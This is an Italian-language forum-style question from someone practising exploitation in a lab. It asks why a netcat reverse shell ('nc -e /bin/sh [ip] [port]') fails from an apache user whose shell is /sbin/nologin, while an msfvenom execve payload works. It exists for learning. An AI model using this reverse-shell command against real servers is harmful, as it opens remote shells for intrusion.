Mentre praticavo lo sfruttamento in un laboratorio, sono riuscito a ottenere la capacità di eseguire codice php che mi permetteva di eseguire comandi di sistema tramite shell_exec su un server web. L'utente apache ha /sbin/nologin
assegnato come shell.
Ho provato a utilizzare il comando nc -e /bin/sh [ip] [port]
ma non riesce. L'utilizzo di netcat senza avviare una shell, tuttavia, ha esito positivo. Ho pensato che fosse perché avere la shell impostata su /no/login
significa che non posso avviarlo. Tuttavia, se utilizzo un eseguibile che esegue execve("/bin/sh")
come quelli trovati negli eseguibili di payload msfvenom, ha esito positivo.
Un altro motivo per cui ho ipotizzato che la shell nologin
non consenta a un utente di avviare una shell interattiva è perché provare la shell inversa netcat con un utente che ha /bin/sh
configurato come la sua shell ha esito positivo. Sono confuso dal controllo di fase per le autorizzazioni per l'avvio di una shell, perché sono ancora in grado di avviarlo tramite eseguibili binari.